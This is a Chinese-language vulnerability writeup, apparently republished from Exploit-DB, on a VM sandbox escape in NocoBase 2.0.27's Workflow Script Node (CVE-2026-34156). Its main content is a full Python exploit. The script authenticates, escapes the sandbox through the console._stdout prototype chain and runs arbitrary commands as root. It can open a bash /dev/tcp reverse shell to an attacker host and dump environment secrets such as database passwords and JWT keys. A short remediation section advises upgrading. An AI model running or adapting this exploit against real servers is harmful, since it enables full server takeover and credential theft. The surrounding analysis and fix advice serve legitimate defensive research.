[local] NocoBase 2.0.27 - VM Sandbox Escape

📋 漏洞基础信息

🔬 漏洞根因

NocoBase在Workflow Script Node中执行用户提供的JavaScript时，虽使用Node.js vm沙箱及自定义require白名单限制模块加载，但传递给沙箱的console对象关联了宿主环境的WritableWorkerStdio流（console._stdout / console._stderr）。攻击者可通过原型链(console._stdout.constructor.constructor)获取宿主环境的Function构造函数，进而访问process对象并调用process.mainModule.require加载child_process模块，完全绕过沙箱限制。

🎯 攻击场景

1. 攻击者获得任意具有工作流访问权限的NocoBase用户凭证。 2. 登录后通过/api/flow_nodes:test接口构造恶意脚本payload（如利用console._stdout原型链逃逸）。 3. 发送payload执行任意系统命令或获取反向shell。 4. 成功条件：攻击者可在服务端以root身份执行任意代码。

💥 漏洞影响

攻击者可绕过VM沙箱在服务器上以root权限远程执行任意命令，导致服务器完全控制、数据泄露、横向移动、服务瘫痪。

⚔️ 原始 PoC

1. 认证：脚本先通过/api/auth:signIn接口使用用户名/密码获取JWT token。 2. 漏洞检测 (verify_vulnerability)：构造检查payload `console._stdout.constructor.name`及`typeof console._stdout.constructor.constructor`，若返回`WritableWorkerStdio`和`function`则确认沙箱存在宿主对象引用。 3. 逃逸链 (ESCAPE_CHAIN)： - `const Fn=console._stdout.constructor.constructor` → 获得宿主环境的Function构造函数。 - `const proc=Fn('return process')()` → 执行字符串获取Node.js全局process对象。 - `const cp=proc.mainModule.require('child_process')` → 绕过限制加载child_process模块。 4. 命令执行/反向shell：使用cp.execSync()或cp.exec()执行任意命令（如id、bash反弹）。 5. 信息收集 (exploit_dump)：利用同样逃逸链读取环境变量（数据库密码、JWT密钥等敏感信息）。

# Exploit Author: Onurcan Genç
# Advisory: https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c
# CWE: CWE-913
# CVSS: 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
#
# Description:
#   NocoBase's Workflow Script Node executes user-supplied JavaScript inside
#   a Node.js vm sandbox with a custom require allowlist. However,
the console
#   object passed into the sandbox exposes host-realm WritableWorkerStdio
#   stream objects (console._stdout / console._stderr). By traversing the
#   prototype chain (.constructor.constructor),an attacker obtains the host
#   realm's Function constructor,accesses the process object,
and uses
#   process.mainModule.require to load child_process — bypassing the sandbox
#   and achieving Remote Code Execution as root.
#
# Exploitation chain:
#   console._stdout.constructor.constructor   → host-realm Function
#   Function('return process')()              → Node.js process object
#   process.mainModule.require('child_process') → unrestricted module
#   child_process.execSync('id')              → RCE as root
#
# Usage:
#   python3 exploit.py -t <TARGET>
-u <USER>-P <PASS>--cmd "id"
#   python3 exploit.py -t <TARGET>-u <USER>-P <PASS>--dump
#   python3 exploit.py -t <TARGET>-u <USER>-P <PASS>-l <LHOST>-p <LPORT>
#
# Notes:
#   - Requires valid credentials (any user with workflow access)
#   - Vulnerability check runs automatically before exploitation
#   - Default reverse shell uses bash /dev/tcp (Debian-based containers)
#   - Start listener before running: nc -lvnp 4444

import argparse
import json
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ─── Colors ───────────────────────────────────────────────────────────────────

class C:
    RED     = "\033[91m"
    GREEN   = "\033[92m"
    YELLOW  = "\033[93m"
    BLUE    = "\033[94m"
    MAGENTA = "\033[95m"
    CYAN    = "\033[96m"
    WHITE   = "\033[97m"
    BOLD    = "\033[1m"
    DIM     = "\033[2m"
    RESET   = "\033[0m"

def info(msg):    print(f"  {C.BLUE}[*]{C.RESET}
{msg}")
def good(msg):    print(f"  {C.GREEN}[+]{C.RESET}{msg}")
def warn(msg):    print(f"  {C.YELLOW}[!]{C.RESET}{msg}")
def fail(msg):    print(f"  {C.RED}[-]{C.RESET}{msg}")
def result(msg):  print(f"  {C.CYAN}[→]{C.RESET}
{msg}")

BANNER = f"""
{C.RED}{C.BOLD}╔══════════════════════════════════════════════════════════════════╗
║  NocoBase Workflow Script Node — VM Sandbox Escape to RCE      ║
║  CVE: [CVE-2026-34156]  |CVSS: 9.9 Critical                        ║
║  Author: Onurcan Genç                                          ║
╚══════════════════════════════════════════════════════════════════╝{C.RESET}
"""

ESCAPE_CHAIN = (
    "const Fn=console._stdout.constructor.constructor;"
    "const proc=Fn('return process')();"
    "const cp=proc.mainModule.require('child_process');"
)


# ─── Core Functions ───────────────────────────────────────────────────────────

def authenticate(target: str,username: str,password: str,verify_ssl: bool = False) ->
str:
    url = f"{target.rstrip('/')}/api/auth:signIn"
    body = {"account": username,"password": password}print()
    info(f"Authenticating as {C.BOLD}{username}{C.RESET}...")

    try:
        resp = requests.post(url,headers={"Content-Type": "application/json"},json=body,timeout=10,
verify=verify_ssl)
        data = resp.json()
    except requests.exceptions.ConnectionError:
        fail(f"Connection failed: cannot reach {C.YELLOW}{url}{C.RESET}")
        sys.exit(1)
    except json.JSONDecodeError:
        fail(f"Invalid response from server")
        sys.exit(1)

    if "errors" in data:
        msg = data["errors"][0].get("message",
"Unknown error")
        fail(f"Authentication failed: {C.RED}{msg}{C.RESET}")
        sys.exit(1)

    token = data.get("data",{}).get("token")
    if not token:
        fail("No token in response")
        sys.exit(1)

    nickname = data.get("data",{}).get("user",{}).get("nickname","unknown")
    user_id = data.get("data",{}).get("user",{}).get("id",
"?")
    good(f"Authenticated! User: {C.GREEN}{C.BOLD}{nickname}{C.RESET}(ID: {user_id})")
    good(f"Token: {C.DIM}{token[:25]}...{token[-10:]}{C.RESET}")
    return token


def send_payload(target: str,token: str,payload: str,verify_ssl: bool = False) ->dict:
    url = f"{target.rstrip('/')}/api/flow_nodes:test"
    headers = {"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
    }body = {"type": "script","config": {"content": payload,"timeout": 5000,"arguments": []}}try:
        resp = requests.post(url,headers=headers,json=body,timeout=10,verify=verify_ssl)
        return resp.json()
    except requests.exceptions.Timeout:
        return {"data": {"status": 1,"result": "timeout (expected for reverse shell)"}}
except requests.exceptions.ConnectionError as e:
        return {"error": f"Connection failed: {e}"}except json.JSONDecodeError:
        return {"error": "Invalid JSON response","raw": resp.text[:500]}def verify_vulnerability(target: str,token: str) ->
bool:
    print()
    print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")
    info(f"{C.BOLD}Phase 1: Vulnerability Check{C.RESET}")
    print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")

    check_payload = (
        "try {"
        "  const name = console._stdout.constructor.name;"
        "  const fnType = typeof console._stdout.constructor.constructor;"
        "  return JSON.stringify({stream: name,
fnConstructor: fnType});"
        "}catch(e) {return 'ERR: ' + e.message;}"
    )
    result_data = send_payload(target,token,check_payload)

    if "error" in result_data:
        fail(f"Connection error: {result_data['error']}")
        return False

    data = result_data.get("data",
{})

    if data.get("status") != 1:
        if "INVALID_TOKEN" in str(data) or "EMPTY_TOKEN" in str(data):
            fail("Authentication token is invalid or expired")
        else:
            fail(f"Unexpected response: {data}")
        return False

    try:
        check = json.loads(data.get("result","{}"))
        stream = check.get("stream",
"")
        fn_type = check.get("fnConstructor",
"")

        if stream == "WritableWorkerStdio" and fn_type == "function":
            good(f"Host-realm stream object: {C.GREEN}{C.BOLD}{stream}{C.RESET}")
            good(f"Function constructor:     {C.GREEN}{C.BOLD}accessible{C.RESET}")
            print()
            good(f"{C.GREEN}{C.BOLD}TARGET IS VULNERABLE!{C.RESET}")
            return True
        else:
            fail(f"Unexpected sandbox state: stream={stream},
fn={fn_type}")
            return False
    except (json.JSONDecodeError,TypeError):
        res = data.get("result","")
        fail(f"Check failed: {res}")
        return False


# ─── Exploit Modes ────────────────────────────────────────────────────────────

def exploit_cmd(target: str,token: str,
cmd: str):
    print()
    print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")
    info(f"{C.BOLD}Phase 2: Command Execution{C.RESET}")
    print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")

    info(f"Executing: {C.YELLOW}{cmd}{C.RESET}")

    safe_cmd = cmd.replace("\\","\\\\").replace("'","\\'").replace('"',
'\\"')
    payload = f'{ESCAPE_CHAIN}return cp.execSync("{safe_cmd}").toString().trim();'
    resp = send_payload(target,token,payload)

    data = resp.get("data",{})
    if data.get("status") == 1:
        output = data.get("result",
"")
        print()
        good(f"Output:")
        print(f"  {C.CYAN}{'─' * 55}{C.RESET}")
        for line in output.split("\n"):
            print(f"  {C.WHITE}{line}{C.RESET}")
        print(f"  {C.CYAN}{'─' * 55}{C.RESET}")
    else:
        fail(f"Execution failed: {data}")


def exploit_revshell(target: str,token: str,lhost: str,
lport: int):
    print()
    print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")
    info(f"{C.BOLD}Phase 2: Reverse Shell{C.RESET}")
    print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")

    info(f"Target:   {C.YELLOW}{target}{C.RESET}")
    info(f"Callback: {C.GREEN}{C.BOLD}{lhost}:{lport}{C.RESET}")
    warn(f"Ensure listener is running: {C.BOLD}nc -lvnp {lport}{C.RESET}")
    print()

    shell_cmd = f'bash -c "bash -i >&
/dev/tcp/{lhost}/{lport}0>&1"'
    payload = f"{ESCAPE_CHAIN}cp.exec('{shell_cmd}');return 'shell spawned';"
    resp = send_payload(target,token,payload)

    data = resp.get("data",{})
    res = data.get("result",
"")

    if "shell spawned" in str(res) or "timeout" in str(res):
        good(f"{C.GREEN}{C.BOLD}Payload delivered! Check your listener.{C.RESET}")
    else:
        fail(f"Unexpected response: {data}")


def exploit_dump(target: str,token: str):
    print()
    print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")
    info(f"{C.BOLD}Phase 2: System &
Credential Dump{C.RESET}")
    print(f"  {C.MAGENTA}{'─' * 55}{C.RESET}")

    # System info via shell commands
    commands = [
        ("User","id"),("Hostname","hostname"),("OS","cat /etc/os-release |grep PRETTY_NAME |cut -d= -f2"),("Kernel","uname -r"),("Node.js","node --version"),("Working Dir","pwd"),
]

    print()
    info(f"{C.BOLD}System Information{C.RESET}")
    print(f"  {C.CYAN}{'─' * 55}{C.RESET}")

    for label,cmd in commands:
        safe_cmd = cmd.replace('"','\\"')
        payload = f'{ESCAPE_CHAIN}return cp.execSync("{safe_cmd}").toString().trim();'
        resp = send_payload(target,token,payload)
        data = resp.get("data",
{})
        if data.get("status") == 1:
            out = data.get("result","N/A").replace('"','')
            print(f"  {C.WHITE}{label:.<22}{C.RESET}
{C.GREEN}{out}{C.RESET}")

    print(f"  {C.CYAN}{'─' * 55}{C.RESET}")

    # Credentials via JavaScript
    print()
    info(f"{C.BOLD}Environment Credentials{C.RESET}")
    print(f"  {C.CYAN}{'─' * 55}{C.RESET}")

    secrets_payload = (
        f"{ESCAPE_CHAIN}"
        "const env = proc.env;"
        "const keys = ['DB_HOST','DB_PORT','DB_DATABASE','DB_USER','DB_PASSWORD',"
        "'DB_DIALECT','INIT_ROOT_USERNAME','INIT_ROOT_PASSWORD','INIT_ROOT_NICKNAME',"
        "'INIT_ROOT_EMAIL','APP_KEY','API_KEY','JWT_SECRET','SECRET_KEY'];"
        "const out = {};
keys.forEach(k =>{if(env[k]) out[k] = env[k];});"
        "return JSON.stringify(out);"
    )
    resp = send_payload(target,token,secrets_payload)
    data = resp.get("data",{})

    if data.get("status") == 1:
        try:
            creds = json.loads(data.get("result","{}"))
            for k,
v in creds.items():
                color = C.RED if "PASS" in k or "SECRET" in k or "KEY" in k else C.YELLOW
                print(f"  {C.WHITE}{k:.<30}{C.RESET}
{color}{C.BOLD}{v}{C.RESET}")
        except json.JSONDecodeError:
            result(f"Raw: {data.get('result')}")

    print(f"  {C.CYAN}{'─' * 55}{C.RESET}")

    # All env vars with sensitive patterns
    print()
    info(f"{C.BOLD}Additional Secrets (pattern match){C.RESET}")
    print(f"  {C.CYAN}{'─' * 55}{C.RESET}")

    extra_payload = (
        f"{ESCAPE_CHAIN}"
        "const env = proc.env;"
        "const out = {};"
        "for (const k of Object.keys(env)) {"
        "  if (/secret|key|token|pass|auth|jwt|api_key|private/i.test(k) &&
"
        "      !k.startsWith('npm_')) out[k] = env[k];"
        "}"
        "return JSON.stringify(out);"
    )
    resp = send_payload(target,token,extra_payload)
    data = resp.get("data",{})

    if data.get("status") == 1:
        try:
            extras = json.loads(data.get("result","{}"))
            if extras:
                for k,
v in extras.items():
                    print(f"  {C.WHITE}{k:.<30}{C.RESET}
{C.RED}{C.BOLD}{v}{C.RESET}")
            else:
                info("No additional secrets found")
        except json.JSONDecodeError:
            pass

    print(f"  {C.CYAN}{'─' * 55}{C.RESET}")


# ─── Main ─────────────────────────────────────────────────────────────────────

def main():
    print(BANNER)

    parser = argparse.ArgumentParser(
        description="NocoBase Workflow Script Node — VM Sandbox Escape to RCE",
formatter_class=argparse.RawDescriptionHelpFormatter,epilog=f"""
{C.BOLD}Examples:{C.RESET}{C.CYAN}Command:{C.RESET}%(prog)s -t http://target:13000 -u nocobase -P admin123 --cmd "id"
  {C.CYAN}Dump:{C.RESET}%(prog)s -t http://target:13000 -u nocobase -P admin123 --dump
  {C.CYAN}Reverse Shell:{C.RESET}
%(prog)s -t http://target:13000 -u nocobase -P admin123 -l 10.10.14.5 -p 4444
        """
    )
    parser.add_argument("-t","--target",required=True,help="Target NocoBase URL (e.g.,http://target:13000)")
    parser.add_argument("-u","--username",required=True,help="NocoBase username")
    parser.add_argument("-P","--password",required=True,help="NocoBase password")
    parser.add_argument("-l",
"--lhost",default=None,help="Listener IP for reverse shell")
    parser.add_argument("-p","--lport",type=int,default=4444,help="Listener port (default: 4444)")
    parser.add_argument("--cmd",default=None,help="Execute a single command")
    parser.add_argument("--dump",action="store_true",help="Dump system info and credentials")
    parser.add_argument("--no-verify",action="store_true",
help="Skip vulnerability verification")

    args = parser.parse_args()

    if not args.cmd and not args.lhost and not args.dump:
        fail(f"Specify {C.BOLD}--cmd{C.RESET}(command),{C.BOLD}--dump{C.RESET}(info),or {C.BOLD}-l LHOST{C.RESET}(revshell)")
        sys.exit(1)

    # Phase 0: Authenticate
    token = authenticate(args.target,args.username,
args.password)

    # Phase 1: Vulnerability check (always runs unless --no-verify)
    if not args.no_verify:
        if not verify_vulnerability(args.target,token):
            fail(f"{C.RED}{C.BOLD}TARGET IS NOT VULNERABLE.{C.RESET}Exiting.")
            sys.exit(1)

    # Phase 2: Exploit
    if args.dump:
        exploit_dump(args.target,
token)
    elif args.cmd:
        exploit_cmd(args.target,token,args.cmd)
    else:
        exploit_revshell(args.target,token,args.lhost,args.lport)

    print()
    print(f"  {C.GREEN}{C.BOLD}Done.{C.RESET}")
    print()


if __name__ == "__main__":
    main()

🔬 深度技术分析

1. 认证：脚本先通过/api/auth:signIn接口使用用户名/密码获取JWT token。 2. 漏洞检测 (verify_vulnerability)：构造检查payload `console._stdout.constructor.name`及`typeof console._stdout.constructor.constructor`，若返回`WritableWorkerStdio`和`function`则确认沙箱存在宿主对象引用。 3. 逃逸链 (ESCAPE_CHAIN)： - `const Fn=console._stdout.constructor.constructor` → 获得宿主环境的Function构造函数。 - `const proc=Fn('return process')()` → 执行字符串获取Node.js全局process对象。 - `const cp=proc.mainModule.require('child_process')` → 绕过限制加载child_process模块。 4. 命令执行/反向shell：使用cp.execSync()或cp.exec()执行任意命令（如id、bash反弹）。 5. 信息收集 (exploit_dump)：利用同样逃逸链读取环境变量（数据库密码、JWT密钥等敏感信息）。

🛡️ 修复建议

升级到NocoBase 2.0.28或更高版本。临时措施：禁用工作流脚本节点功能，审计所有用户对script节点的访问权限，限制可登录用户仅限可信人员。

📎 参考链接

• https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c
• https://nvd.nist.gov/vuln/detail/CVE-2026-34156
• Exploit-DB 原文

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-09 16:47 | 来源: Exploit-DB